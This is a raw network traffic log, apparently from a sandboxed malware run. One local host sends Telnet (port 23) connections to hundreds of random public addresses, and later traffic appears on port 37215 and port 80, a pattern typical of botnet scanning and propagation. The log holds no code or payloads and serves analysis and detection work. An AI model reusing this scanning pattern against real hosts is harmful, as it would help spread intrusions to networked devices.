Dec 3, 2024 22:02:04.179517984 CET	39808	23	192.168.2.14	140.215.48.198
Dec 3, 2024 22:02:04.179528952 CET	39808	23	192.168.2.14	46.45.183.39
Dec 3, 2024 22:02:04.179528952 CET	39808	23	192.168.2.14	151.158.212.182
Dec 3, 2024 22:02:04.179534912 CET	39808	23	192.168.2.14	54.108.135.151
Dec 3, 2024 22:02:04.179537058 CET	39808	23	192.168.2.14	2.124.87.210
Dec 3, 2024 22:02:04.179541111 CET	39808	23	192.168.2.14	151.224.236.133
Dec 3, 2024 22:02:04.179542065 CET	39808	23	192.168.2.14	83.0.176.149
Dec 3, 2024 22:02:04.179542065 CET	39808	23	192.168.2.14	85.90.102.182
Dec 3, 2024 22:02:04.179558992 CET	39808	23	192.168.2.14	84.197.130.254
Dec 3, 2024 22:02:04.179569960 CET	39808	23	192.168.2.14	136.139.90.200
Dec 3, 2024 22:02:04.179569960 CET	39808	23	192.168.2.14	92.0.42.250
Dec 3, 2024 22:02:04.179575920 CET	39808	23	192.168.2.14	104.251.159.135
Dec 3, 2024 22:02:04.179578066 CET	39808	23	192.168.2.14	46.249.189.231
Dec 3, 2024 22:02:04.179580927 CET	39808	23	192.168.2.14	40.195.90.48
Dec 3, 2024 22:02:04.179583073 CET	39808	23	192.168.2.14	93.61.129.143
Dec 3, 2024 22:02:04.179590940 CET	39808	23	192.168.2.14	223.240.155.115
Dec 3, 2024 22:02:04.179595947 CET	39808	23	192.168.2.14	118.111.208.151
Dec 3, 2024 22:02:04.179600954 CET	39808	23	192.168.2.14	71.177.41.92
Dec 3, 2024 22:02:04.179605007 CET	39808	23	192.168.2.14	13.108.37.183
Dec 3, 2024 22:02:04.179606915 CET	39808	23	192.168.2.14	210.132.152.88
Dec 3, 2024 22:02:04.179616928 CET	39808	23	192.168.2.14	185.142.227.255
Dec 3, 2024 22:02:04.179620028 CET	39808	23	192.168.2.14	168.91.206.127
Dec 3, 2024 22:02:04.179627895 CET	39808	23	192.168.2.14	73.194.42.41
Dec 3, 2024 22:02:04.179631948 CET	39808	23	192.168.2.14	4.220.6.146
Dec 3, 2024 22:02:04.179641008 CET	39808	23	192.168.2.14	67.157.39.17
Dec 3, 2024 22:02:04.179645061 CET	39808	23	192.168.2.14	65.32.8.180
Dec 3, 2024 22:02:04.179646015 CET	39808	23	192.168.2.14	140.149.171.127
Dec 3, 2024 22:02:04.179665089 CET	39808	23	192.168.2.14	181.76.200.132
Dec 3, 2024 22:02:04.179667950 CET	39808	23	192.168.2.14	212.136.154.203
Dec 3, 2024 22:02:04.179670095 CET	39808	23	192.168.2.14	184.124.123.2
Dec 3, 2024 22:02:04.179672003 CET	39808	23	192.168.2.14	34.112.92.247
Dec 3, 2024 22:02:04.179672003 CET	39808	23	192.168.2.14	97.21.34.248
Dec 3, 2024 22:02:04.179672003 CET	39808	23	192.168.2.14	193.104.77.67
Dec 3, 2024 22:02:04.179673910 CET	39808	23	192.168.2.14	143.73.153.74
Dec 3, 2024 22:02:04.179673910 CET	39808	23	192.168.2.14	12.11.66.220
Dec 3, 2024 22:02:04.179673910 CET	39808	23	192.168.2.14	111.133.115.64
Dec 3, 2024 22:02:04.179686069 CET	39808	23	192.168.2.14	109.62.103.239
Dec 3, 2024 22:02:04.179687977 CET	39808	23	192.168.2.14	36.1.100.192
Dec 3, 2024 22:02:04.179694891 CET	39808	23	192.168.2.14	209.174.165.166
Dec 3, 2024 22:02:04.179697037 CET	39808	23	192.168.2.14	8.192.62.141
Dec 3, 2024 22:02:04.179699898 CET	39808	23	192.168.2.14	203.241.12.13
Dec 3, 2024 22:02:04.179708958 CET	39808	23	192.168.2.14	134.33.208.119
Dec 3, 2024 22:02:04.179711103 CET	39808	23	192.168.2.14	108.89.237.59
Dec 3, 2024 22:02:04.179716110 CET	39808	23	192.168.2.14	1.159.6.109
Dec 3, 2024 22:02:04.179728031 CET	39808	23	192.168.2.14	162.207.178.230
Dec 3, 2024 22:02:04.179728985 CET	39808	23	192.168.2.14	37.67.207.70
Dec 3, 2024 22:02:04.179733992 CET	39808	23	192.168.2.14	69.202.247.109
Dec 3, 2024 22:02:04.179738998 CET	39808	23	192.168.2.14	190.66.193.15
Dec 3, 2024 22:02:04.179753065 CET	39808	23	192.168.2.14	73.194.114.95
Dec 3, 2024 22:02:04.179753065 CET	39808	23	192.168.2.14	54.227.19.110
Dec 3, 2024 22:02:04.179753065 CET	39808	23	192.168.2.14	145.230.195.203
Dec 3, 2024 22:02:04.179759979 CET	39808	23	192.168.2.14	97.80.228.146
Dec 3, 2024 22:02:04.179764986 CET	39808	23	192.168.2.14	62.61.159.20
Dec 3, 2024 22:02:04.179770947 CET	39808	23	192.168.2.14	40.24.231.63
Dec 3, 2024 22:02:04.179784060 CET	39808	23	192.168.2.14	111.122.197.206
Dec 3, 2024 22:02:04.179785967 CET	39808	23	192.168.2.14	174.241.3.247
Dec 3, 2024 22:02:04.179791927 CET	39808	23	192.168.2.14	133.45.226.194
Dec 3, 2024 22:02:04.179791927 CET	39808	23	192.168.2.14	167.199.92.45
Dec 3, 2024 22:02:04.179800034 CET	39808	23	192.168.2.14	118.135.171.254
Dec 3, 2024 22:02:04.179800034 CET	39808	23	192.168.2.14	157.244.142.80
Dec 3, 2024 22:02:04.179807901 CET	39808	23	192.168.2.14	196.129.78.111
Dec 3, 2024 22:02:04.179811001 CET	39808	23	192.168.2.14	180.141.249.86
Dec 3, 2024 22:02:04.179817915 CET	39808	23	192.168.2.14	93.203.154.201
Dec 3, 2024 22:02:04.179826975 CET	39808	23	192.168.2.14	179.217.28.135
Dec 3, 2024 22:02:04.179832935 CET	39808	23	192.168.2.14	46.118.218.205
Dec 3, 2024 22:02:04.179838896 CET	39808	23	192.168.2.14	81.12.70.221
Dec 3, 2024 22:02:04.179838896 CET	39808	23	192.168.2.14	158.149.103.82
Dec 3, 2024 22:02:04.179850101 CET	39808	23	192.168.2.14	112.3.33.241
Dec 3, 2024 22:02:04.179852962 CET	39808	23	192.168.2.14	97.104.231.81
Dec 3, 2024 22:02:04.179856062 CET	39808	23	192.168.2.14	134.124.196.68
Dec 3, 2024 22:02:04.179858923 CET	39808	23	192.168.2.14	14.156.108.36
Dec 3, 2024 22:02:04.179867029 CET	39808	23	192.168.2.14	101.150.170.246
Dec 3, 2024 22:02:04.179878950 CET	39808	23	192.168.2.14	9.184.10.179
Dec 3, 2024 22:02:04.179879904 CET	39808	23	192.168.2.14	179.240.194.72
Dec 3, 2024 22:02:04.179892063 CET	39808	23	192.168.2.14	183.205.109.234
Dec 3, 2024 22:02:04.179892063 CET	39808	23	192.168.2.14	174.14.252.239
Dec 3, 2024 22:02:04.179903030 CET	39808	23	192.168.2.14	43.167.243.143
Dec 3, 2024 22:02:04.179903030 CET	39808	23	192.168.2.14	211.145.38.254
Dec 3, 2024 22:02:04.179902077 CET	39808	23	192.168.2.14	162.78.113.198
Dec 3, 2024 22:02:04.179902077 CET	39808	23	192.168.2.14	82.7.87.45
Dec 3, 2024 22:02:04.179910898 CET	39808	23	192.168.2.14	45.209.22.104
Dec 3, 2024 22:02:04.179913044 CET	39808	23	192.168.2.14	62.68.37.252
Dec 3, 2024 22:02:04.179919958 CET	39808	23	192.168.2.14	53.102.159.253
Dec 3, 2024 22:02:04.179928064 CET	39808	23	192.168.2.14	216.184.145.219
Dec 3, 2024 22:02:04.179929018 CET	39808	23	192.168.2.14	99.226.78.139
Dec 3, 2024 22:02:04.179929018 CET	39808	23	192.168.2.14	37.211.31.42
Dec 3, 2024 22:02:04.179934978 CET	39808	23	192.168.2.14	144.52.97.195
Dec 3, 2024 22:02:04.179935932 CET	39808	23	192.168.2.14	94.55.89.102
Dec 3, 2024 22:02:04.179949999 CET	39808	23	192.168.2.14	61.116.95.15
Dec 3, 2024 22:02:04.179954052 CET	39808	23	192.168.2.14	168.252.169.254
Dec 3, 2024 22:02:04.179955959 CET	39808	23	192.168.2.14	128.174.91.79
Dec 3, 2024 22:02:04.179964066 CET	39808	23	192.168.2.14	194.158.172.129
Dec 3, 2024 22:02:04.179980993 CET	39808	23	192.168.2.14	168.31.191.88
Dec 3, 2024 22:02:04.179981947 CET	39808	23	192.168.2.14	147.17.175.38
Dec 3, 2024 22:02:04.179982901 CET	39808	23	192.168.2.14	117.247.16.135
Dec 3, 2024 22:02:04.179996014 CET	39808	23	192.168.2.14	136.151.187.189
Dec 3, 2024 22:02:04.179997921 CET	39808	23	192.168.2.14	71.179.111.65
Dec 3, 2024 22:02:04.180011988 CET	39808	23	192.168.2.14	206.235.242.127
Dec 3, 2024 22:02:04.180011988 CET	39808	23	192.168.2.14	178.187.223.196
Dec 3, 2024 22:02:04.180011988 CET	39808	23	192.168.2.14	83.220.107.79
Dec 3, 2024 22:02:04.180012941 CET	39808	23	192.168.2.14	57.226.163.22
Dec 3, 2024 22:02:04.180011988 CET	39808	23	192.168.2.14	189.246.244.154
Dec 3, 2024 22:02:04.180020094 CET	39808	23	192.168.2.14	126.86.21.122
Dec 3, 2024 22:02:04.180027008 CET	39808	23	192.168.2.14	93.3.219.56
Dec 3, 2024 22:02:04.180028915 CET	39808	23	192.168.2.14	68.7.242.147
Dec 3, 2024 22:02:04.180028915 CET	39808	23	192.168.2.14	53.108.190.68
Dec 3, 2024 22:02:04.180035114 CET	39808	23	192.168.2.14	154.57.15.72
Dec 3, 2024 22:02:04.180037975 CET	39808	23	192.168.2.14	217.116.162.76
Dec 3, 2024 22:02:04.180052042 CET	39808	23	192.168.2.14	65.144.229.248
Dec 3, 2024 22:02:04.180052996 CET	39808	23	192.168.2.14	2.214.64.97
Dec 3, 2024 22:02:04.180057049 CET	39808	23	192.168.2.14	118.53.157.8
Dec 3, 2024 22:02:04.180061102 CET	39808	23	192.168.2.14	191.69.29.0
Dec 3, 2024 22:02:04.180062056 CET	39808	23	192.168.2.14	139.5.70.214
Dec 3, 2024 22:02:04.180062056 CET	39808	23	192.168.2.14	50.98.150.134
Dec 3, 2024 22:02:04.180063963 CET	39808	23	192.168.2.14	109.223.253.227
Dec 3, 2024 22:02:04.180069923 CET	39808	23	192.168.2.14	190.141.106.56
Dec 3, 2024 22:02:04.180077076 CET	39808	23	192.168.2.14	110.209.79.88
Dec 3, 2024 22:02:04.180078983 CET	39808	23	192.168.2.14	141.94.68.120
Dec 3, 2024 22:02:04.180080891 CET	39808	23	192.168.2.14	221.70.122.70
Dec 3, 2024 22:02:04.180080891 CET	39808	23	192.168.2.14	125.170.228.113
Dec 3, 2024 22:02:04.180084944 CET	39808	23	192.168.2.14	57.193.100.30
Dec 3, 2024 22:02:04.180094004 CET	39808	23	192.168.2.14	166.219.194.177
Dec 3, 2024 22:02:04.180099010 CET	39808	23	192.168.2.14	12.148.154.33
Dec 3, 2024 22:02:04.180099010 CET	39808	23	192.168.2.14	133.48.104.245
Dec 3, 2024 22:02:04.180114031 CET	39808	23	192.168.2.14	101.126.150.102
Dec 3, 2024 22:02:04.180114031 CET	39808	23	192.168.2.14	186.106.190.6
Dec 3, 2024 22:02:04.180120945 CET	39808	23	192.168.2.14	175.14.30.141
Dec 3, 2024 22:02:04.180128098 CET	39808	23	192.168.2.14	64.186.35.254
Dec 3, 2024 22:02:04.180134058 CET	39808	23	192.168.2.14	79.120.214.252
Dec 3, 2024 22:02:04.180149078 CET	39808	23	192.168.2.14	35.13.23.200
Dec 3, 2024 22:02:04.180151939 CET	39808	23	192.168.2.14	72.198.6.170
Dec 3, 2024 22:02:04.180151939 CET	39808	23	192.168.2.14	108.189.162.93
Dec 3, 2024 22:02:04.180159092 CET	39808	23	192.168.2.14	167.105.103.103
Dec 3, 2024 22:02:04.180160999 CET	39808	23	192.168.2.14	64.131.49.247
Dec 3, 2024 22:02:04.180169106 CET	39808	23	192.168.2.14	112.213.17.40
Dec 3, 2024 22:02:04.180175066 CET	39808	23	192.168.2.14	185.155.233.213
Dec 3, 2024 22:02:04.180186987 CET	39808	23	192.168.2.14	132.12.114.139
Dec 3, 2024 22:02:04.180202961 CET	39808	23	192.168.2.14	41.229.34.226
Dec 3, 2024 22:02:04.180203915 CET	39808	23	192.168.2.14	110.64.252.129
Dec 3, 2024 22:02:04.180203915 CET	39808	23	192.168.2.14	128.37.212.21
Dec 3, 2024 22:02:04.180206060 CET	39808	23	192.168.2.14	20.30.146.239
Dec 3, 2024 22:02:04.180206060 CET	39808	23	192.168.2.14	143.225.42.194
Dec 3, 2024 22:02:04.180212975 CET	39808	23	192.168.2.14	90.80.219.172
Dec 3, 2024 22:02:04.180219889 CET	39808	23	192.168.2.14	1.133.88.28
Dec 3, 2024 22:02:04.180219889 CET	39808	23	192.168.2.14	88.78.51.206
Dec 3, 2024 22:02:04.180229902 CET	39808	23	192.168.2.14	137.96.249.198
Dec 3, 2024 22:02:04.180234909 CET	39808	23	192.168.2.14	222.52.168.206
Dec 3, 2024 22:02:04.180236101 CET	39808	23	192.168.2.14	114.87.231.36
Dec 3, 2024 22:02:04.180239916 CET	39808	23	192.168.2.14	198.12.45.28
Dec 3, 2024 22:02:04.180243969 CET	39808	23	192.168.2.14	201.95.174.62
Dec 3, 2024 22:02:04.180249929 CET	39808	23	192.168.2.14	24.171.167.213
Dec 3, 2024 22:02:04.180252075 CET	39808	23	192.168.2.14	186.195.18.223
Dec 3, 2024 22:02:04.180263042 CET	39808	23	192.168.2.14	175.197.188.80
Dec 3, 2024 22:02:04.180263042 CET	39808	23	192.168.2.14	86.197.163.254
Dec 3, 2024 22:02:04.180274963 CET	39808	23	192.168.2.14	27.195.150.211
Dec 3, 2024 22:02:04.180277109 CET	39808	23	192.168.2.14	204.102.251.170
Dec 3, 2024 22:02:04.180284023 CET	39808	23	192.168.2.14	64.140.6.47
Dec 3, 2024 22:02:04.180288076 CET	39808	23	192.168.2.14	160.203.52.28
Dec 3, 2024 22:02:04.180288076 CET	39808	23	192.168.2.14	39.236.157.70
Dec 3, 2024 22:02:04.180291891 CET	39808	23	192.168.2.14	183.61.6.239
Dec 3, 2024 22:02:04.180303097 CET	39808	23	192.168.2.14	173.233.1.242
Dec 3, 2024 22:02:04.180306911 CET	39808	23	192.168.2.14	89.133.160.22
Dec 3, 2024 22:02:04.180314064 CET	39808	23	192.168.2.14	116.19.71.89
Dec 3, 2024 22:02:04.180318117 CET	39808	23	192.168.2.14	185.90.135.69
Dec 3, 2024 22:02:04.180329084 CET	39808	23	192.168.2.14	219.106.229.89
Dec 3, 2024 22:02:04.180330038 CET	39808	23	192.168.2.14	149.6.88.147
Dec 3, 2024 22:02:04.180339098 CET	39808	23	192.168.2.14	71.234.41.25
Dec 3, 2024 22:02:04.180339098 CET	39808	23	192.168.2.14	116.53.133.228
Dec 3, 2024 22:02:04.180340052 CET	39808	23	192.168.2.14	108.223.35.114
Dec 3, 2024 22:02:04.180346012 CET	39808	23	192.168.2.14	195.76.158.76
Dec 3, 2024 22:02:04.180346966 CET	39808	23	192.168.2.14	141.144.83.131
Dec 3, 2024 22:02:04.180347919 CET	39808	23	192.168.2.14	86.84.194.155
Dec 3, 2024 22:02:04.180355072 CET	39808	23	192.168.2.14	74.215.248.8
Dec 3, 2024 22:02:04.180355072 CET	39808	23	192.168.2.14	148.119.251.223
Dec 3, 2024 22:02:04.180356026 CET	39808	23	192.168.2.14	134.53.96.75
Dec 3, 2024 22:02:04.180375099 CET	39808	23	192.168.2.14	179.246.21.91
Dec 3, 2024 22:02:04.180381060 CET	39808	23	192.168.2.14	147.250.119.39
Dec 3, 2024 22:02:04.180381060 CET	39808	23	192.168.2.14	178.189.10.87
Dec 3, 2024 22:02:04.180402994 CET	39808	23	192.168.2.14	63.98.85.158
Dec 3, 2024 22:02:04.180402994 CET	39808	23	192.168.2.14	193.219.39.236
Dec 3, 2024 22:02:04.180402994 CET	39808	23	192.168.2.14	125.162.236.192
Dec 3, 2024 22:02:04.180407047 CET	39808	23	192.168.2.14	27.58.244.190
Dec 3, 2024 22:02:04.180407047 CET	39808	23	192.168.2.14	179.55.242.248
Dec 3, 2024 22:02:04.180412054 CET	39808	23	192.168.2.14	80.197.47.54
Dec 3, 2024 22:02:04.180412054 CET	39808	23	192.168.2.14	34.69.223.210
Dec 3, 2024 22:02:04.180412054 CET	39808	23	192.168.2.14	156.89.66.214
Dec 3, 2024 22:02:04.180427074 CET	39808	23	192.168.2.14	57.186.110.202
Dec 3, 2024 22:02:04.180428028 CET	39808	23	192.168.2.14	201.134.159.232
Dec 3, 2024 22:02:04.180428982 CET	39808	23	192.168.2.14	41.229.182.23
Dec 3, 2024 22:02:04.180428982 CET	39808	23	192.168.2.14	187.35.222.130
Dec 3, 2024 22:02:04.180444002 CET	39808	23	192.168.2.14	98.249.167.125
Dec 3, 2024 22:02:04.180454016 CET	39808	23	192.168.2.14	31.5.81.111
Dec 3, 2024 22:02:04.180457115 CET	39808	23	192.168.2.14	142.69.186.89
Dec 3, 2024 22:02:04.180464029 CET	39808	23	192.168.2.14	182.159.138.164
Dec 3, 2024 22:02:04.180480003 CET	39808	23	192.168.2.14	221.210.91.190
Dec 3, 2024 22:02:04.180480003 CET	39808	23	192.168.2.14	85.25.102.157
Dec 3, 2024 22:02:04.180480957 CET	39808	23	192.168.2.14	205.25.112.221
Dec 3, 2024 22:02:04.180490017 CET	39808	23	192.168.2.14	207.147.124.18
Dec 3, 2024 22:02:04.180491924 CET	39808	23	192.168.2.14	147.253.73.196
Dec 3, 2024 22:02:04.180494070 CET	39808	23	192.168.2.14	138.153.127.37
Dec 3, 2024 22:02:04.180495977 CET	39808	23	192.168.2.14	138.27.53.1
Dec 3, 2024 22:02:04.180495977 CET	39808	23	192.168.2.14	39.35.165.240
Dec 3, 2024 22:02:04.180506945 CET	39808	23	192.168.2.14	128.16.42.124
Dec 3, 2024 22:02:04.180522919 CET	39808	23	192.168.2.14	154.211.248.121
Dec 3, 2024 22:02:04.180525064 CET	39808	23	192.168.2.14	17.127.113.136
Dec 3, 2024 22:02:04.180525064 CET	39808	23	192.168.2.14	104.193.130.206
Dec 3, 2024 22:02:04.180525064 CET	39808	23	192.168.2.14	100.212.242.42
Dec 3, 2024 22:02:04.180525064 CET	39808	23	192.168.2.14	14.64.230.2
Dec 3, 2024 22:02:04.180525064 CET	39808	23	192.168.2.14	162.219.117.218
Dec 3, 2024 22:02:04.180533886 CET	39808	23	192.168.2.14	72.59.84.20
Dec 3, 2024 22:02:04.180537939 CET	39808	23	192.168.2.14	80.42.235.112
Dec 3, 2024 22:02:04.180545092 CET	39808	23	192.168.2.14	123.117.133.141
Dec 3, 2024 22:02:04.180555105 CET	39808	23	192.168.2.14	216.129.170.175
Dec 3, 2024 22:02:04.180563927 CET	39808	23	192.168.2.14	186.31.132.151
Dec 3, 2024 22:02:04.180563927 CET	39808	23	192.168.2.14	106.93.238.133
Dec 3, 2024 22:02:04.180572033 CET	39808	23	192.168.2.14	8.162.30.165
Dec 3, 2024 22:02:04.180576086 CET	39808	23	192.168.2.14	93.164.245.161
Dec 3, 2024 22:02:04.180589914 CET	39808	23	192.168.2.14	134.147.242.130
Dec 3, 2024 22:02:04.180592060 CET	39808	23	192.168.2.14	154.167.250.37
Dec 3, 2024 22:02:04.180597067 CET	39808	23	192.168.2.14	223.137.154.227
Dec 3, 2024 22:02:04.180597067 CET	39808	23	192.168.2.14	78.147.113.198
Dec 3, 2024 22:02:04.180597067 CET	39808	23	192.168.2.14	160.24.167.245
Dec 3, 2024 22:02:04.180605888 CET	39808	23	192.168.2.14	174.211.147.103
Dec 3, 2024 22:02:04.180608988 CET	39808	23	192.168.2.14	140.176.110.183
Dec 3, 2024 22:02:04.180609941 CET	39808	23	192.168.2.14	66.96.76.103
Dec 3, 2024 22:02:04.180615902 CET	39808	23	192.168.2.14	63.7.247.34
Dec 3, 2024 22:02:04.180615902 CET	39808	23	192.168.2.14	209.142.145.148
Dec 3, 2024 22:02:04.180615902 CET	39808	23	192.168.2.14	76.207.118.66
Dec 3, 2024 22:02:04.180615902 CET	39808	23	192.168.2.14	80.237.26.121
Dec 3, 2024 22:02:04.180628061 CET	39808	23	192.168.2.14	177.137.8.23
Dec 3, 2024 22:02:04.180630922 CET	39808	23	192.168.2.14	166.71.174.127
Dec 3, 2024 22:02:04.180640936 CET	39808	23	192.168.2.14	128.164.170.16
Dec 3, 2024 22:02:04.180641890 CET	39808	23	192.168.2.14	104.215.18.78
Dec 3, 2024 22:02:04.180644035 CET	39808	23	192.168.2.14	122.158.86.158
Dec 3, 2024 22:02:04.180651903 CET	39808	23	192.168.2.14	144.53.18.191
Dec 3, 2024 22:02:04.180655003 CET	39808	23	192.168.2.14	120.204.88.238
Dec 3, 2024 22:02:04.180666924 CET	39808	23	192.168.2.14	117.203.112.249
Dec 3, 2024 22:02:04.180674076 CET	39808	23	192.168.2.14	160.89.203.87
Dec 3, 2024 22:02:04.180675030 CET	39808	23	192.168.2.14	74.216.77.69
Dec 3, 2024 22:02:04.180675030 CET	39808	23	192.168.2.14	151.103.36.242
Dec 3, 2024 22:02:04.180676937 CET	39808	23	192.168.2.14	198.212.3.230
Dec 3, 2024 22:02:04.180691957 CET	39808	23	192.168.2.14	133.36.233.121
Dec 3, 2024 22:02:04.180691957 CET	39808	23	192.168.2.14	163.22.185.164
Dec 3, 2024 22:02:04.180695057 CET	39808	23	192.168.2.14	90.227.110.243
Dec 3, 2024 22:02:04.180699110 CET	39808	23	192.168.2.14	145.94.116.225
Dec 3, 2024 22:02:04.180711031 CET	39808	23	192.168.2.14	40.102.152.63
Dec 3, 2024 22:02:04.180718899 CET	39808	23	192.168.2.14	166.240.12.83
Dec 3, 2024 22:02:04.180718899 CET	39808	23	192.168.2.14	150.239.122.85
Dec 3, 2024 22:02:04.180730104 CET	39808	23	192.168.2.14	83.123.16.205
Dec 3, 2024 22:02:04.180733919 CET	39808	23	192.168.2.14	220.39.66.12
Dec 3, 2024 22:02:04.180743933 CET	39808	23	192.168.2.14	93.10.124.44
Dec 3, 2024 22:02:04.180747986 CET	39808	23	192.168.2.14	44.56.195.94
Dec 3, 2024 22:02:04.180759907 CET	39808	23	192.168.2.14	184.56.101.203
Dec 3, 2024 22:02:04.180766106 CET	39808	23	192.168.2.14	124.86.71.182
Dec 3, 2024 22:02:04.180766106 CET	39808	23	192.168.2.14	200.38.69.37
Dec 3, 2024 22:02:04.180772066 CET	39808	23	192.168.2.14	9.131.231.159
Dec 3, 2024 22:02:04.180772066 CET	39808	23	192.168.2.14	153.156.238.129
Dec 3, 2024 22:02:04.180788040 CET	39808	23	192.168.2.14	70.11.123.52
Dec 3, 2024 22:02:04.180790901 CET	39808	23	192.168.2.14	184.5.226.89
Dec 3, 2024 22:02:04.180790901 CET	39808	23	192.168.2.14	36.15.110.30
Dec 3, 2024 22:02:04.180792093 CET	39808	23	192.168.2.14	61.194.122.23
Dec 3, 2024 22:02:04.180792093 CET	39808	23	192.168.2.14	105.165.9.227
Dec 3, 2024 22:02:04.180792093 CET	39808	23	192.168.2.14	134.21.104.103
Dec 3, 2024 22:02:04.180800915 CET	39808	23	192.168.2.14	72.48.249.141
Dec 3, 2024 22:02:04.180815935 CET	39808	23	192.168.2.14	23.125.113.69
Dec 3, 2024 22:02:04.180819035 CET	39808	23	192.168.2.14	139.194.13.125
Dec 3, 2024 22:02:04.180819035 CET	39808	23	192.168.2.14	191.134.219.102
Dec 3, 2024 22:02:04.180830956 CET	39808	23	192.168.2.14	160.48.56.218
Dec 3, 2024 22:02:04.180830956 CET	39808	23	192.168.2.14	168.136.10.18
Dec 3, 2024 22:02:04.180835009 CET	39808	23	192.168.2.14	69.79.198.122
Dec 3, 2024 22:02:04.180840969 CET	39808	23	192.168.2.14	120.37.42.85
Dec 3, 2024 22:02:04.180843115 CET	39808	23	192.168.2.14	210.140.229.100
Dec 3, 2024 22:02:04.180851936 CET	39808	23	192.168.2.14	40.111.139.69
Dec 3, 2024 22:02:04.180855989 CET	39808	23	192.168.2.14	217.170.110.171
Dec 3, 2024 22:02:04.180856943 CET	39808	23	192.168.2.14	73.61.66.191
Dec 3, 2024 22:02:04.180862904 CET	39808	23	192.168.2.14	61.194.225.110
Dec 3, 2024 22:02:04.180867910 CET	39808	23	192.168.2.14	179.50.47.89
Dec 3, 2024 22:02:04.180867910 CET	39808	23	192.168.2.14	60.46.48.237
Dec 3, 2024 22:02:04.180869102 CET	39808	23	192.168.2.14	126.154.82.85
Dec 3, 2024 22:02:04.180876970 CET	39808	23	192.168.2.14	177.149.85.165
Dec 3, 2024 22:02:04.180879116 CET	39808	23	192.168.2.14	39.37.63.62
Dec 3, 2024 22:02:04.180885077 CET	39808	23	192.168.2.14	170.113.137.246
Dec 3, 2024 22:02:04.180892944 CET	39808	23	192.168.2.14	129.124.13.182
Dec 3, 2024 22:02:04.180895090 CET	39808	23	192.168.2.14	67.186.168.48
Dec 3, 2024 22:02:04.180912971 CET	39808	23	192.168.2.14	199.72.152.134
Dec 3, 2024 22:02:04.180913925 CET	39808	23	192.168.2.14	174.185.61.249
Dec 3, 2024 22:02:04.180915117 CET	39808	23	192.168.2.14	141.21.106.255
Dec 3, 2024 22:02:04.180932045 CET	39808	23	192.168.2.14	164.254.215.141
Dec 3, 2024 22:02:04.180933952 CET	39808	23	192.168.2.14	67.110.234.248
Dec 3, 2024 22:02:04.180933952 CET	39808	23	192.168.2.14	216.28.0.208
Dec 3, 2024 22:02:04.180943966 CET	39808	23	192.168.2.14	131.140.200.50
Dec 3, 2024 22:02:04.180943966 CET	39808	23	192.168.2.14	76.141.175.62
Dec 3, 2024 22:02:04.180944920 CET	39808	23	192.168.2.14	216.206.199.122
Dec 3, 2024 22:02:04.180944920 CET	39808	23	192.168.2.14	156.162.204.108
Dec 3, 2024 22:02:04.180948019 CET	39808	23	192.168.2.14	147.95.35.49
Dec 3, 2024 22:02:04.180949926 CET	39808	23	192.168.2.14	84.53.215.174
Dec 3, 2024 22:02:04.180958986 CET	39808	23	192.168.2.14	54.199.45.56
Dec 3, 2024 22:02:04.180963039 CET	39808	23	192.168.2.14	198.47.129.153
Dec 3, 2024 22:02:04.180963993 CET	39808	23	192.168.2.14	153.25.42.168
Dec 3, 2024 22:02:04.180963993 CET	39808	23	192.168.2.14	157.25.239.4
Dec 3, 2024 22:02:04.180963993 CET	39808	23	192.168.2.14	8.144.46.186
Dec 3, 2024 22:02:04.180964947 CET	39808	23	192.168.2.14	40.101.143.9
Dec 3, 2024 22:02:04.180964947 CET	39808	23	192.168.2.14	107.141.198.8
Dec 3, 2024 22:02:04.180964947 CET	39808	23	192.168.2.14	200.150.81.101
Dec 3, 2024 22:02:04.180964947 CET	39808	23	192.168.2.14	157.204.220.144
Dec 3, 2024 22:02:04.180964947 CET	39808	23	192.168.2.14	67.26.4.237
Dec 3, 2024 22:02:04.180972099 CET	39808	23	192.168.2.14	143.208.118.138
Dec 3, 2024 22:02:04.180977106 CET	39808	23	192.168.2.14	81.117.61.141
Dec 3, 2024 22:02:04.180979013 CET	39808	23	192.168.2.14	173.120.224.191
Dec 3, 2024 22:02:04.180988073 CET	39808	23	192.168.2.14	114.145.118.120
Dec 3, 2024 22:02:04.180993080 CET	39808	23	192.168.2.14	166.208.43.3
Dec 3, 2024 22:02:04.180993080 CET	39808	23	192.168.2.14	140.42.9.104
Dec 3, 2024 22:02:04.181000948 CET	39808	23	192.168.2.14	107.110.235.185
Dec 3, 2024 22:02:04.181010008 CET	39808	23	192.168.2.14	50.222.54.212
Dec 3, 2024 22:02:04.181015968 CET	39808	23	192.168.2.14	80.249.230.63
Dec 3, 2024 22:02:04.181024075 CET	39808	23	192.168.2.14	212.229.86.222
Dec 3, 2024 22:02:04.181024075 CET	39808	23	192.168.2.14	128.69.168.38
Dec 3, 2024 22:02:04.181025028 CET	39808	23	192.168.2.14	178.89.188.84
Dec 3, 2024 22:02:04.188333988 CET	37215	45242	197.240.251.151	192.168.2.14
Dec 3, 2024 22:02:04.188910007 CET	37215	45628	197.240.251.151	192.168.2.14
Dec 3, 2024 22:02:04.188918114 CET	37215	60416	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:04.188982010 CET	45628	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.189075947 CET	45628	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.189668894 CET	37215	36932	197.17.118.166	192.168.2.14
Dec 3, 2024 22:02:04.197758913 CET	80	55364	222.244.100.80	192.168.2.14
Dec 3, 2024 22:02:04.197802067 CET	55364	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.197839022 CET	55364	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.197839022 CET	55364	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.198085070 CET	55408	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.201371908 CET	57736	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:04.202534914 CET	80	45584	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:04.217818022 CET	37215	57956	197.231.150.19	192.168.2.14
Dec 3, 2024 22:02:04.218439102 CET	37215	58310	197.231.150.19	192.168.2.14
Dec 3, 2024 22:02:04.218466997 CET	37215	42150	41.204.219.73	192.168.2.14
Dec 3, 2024 22:02:04.218518972 CET	58310	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.218518972 CET	58310	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.218733072 CET	37215	42512	41.204.219.73	192.168.2.14
Dec 3, 2024 22:02:04.218770027 CET	42512	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.218797922 CET	42512	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.219141960 CET	37215	56346	197.105.204.171	192.168.2.14
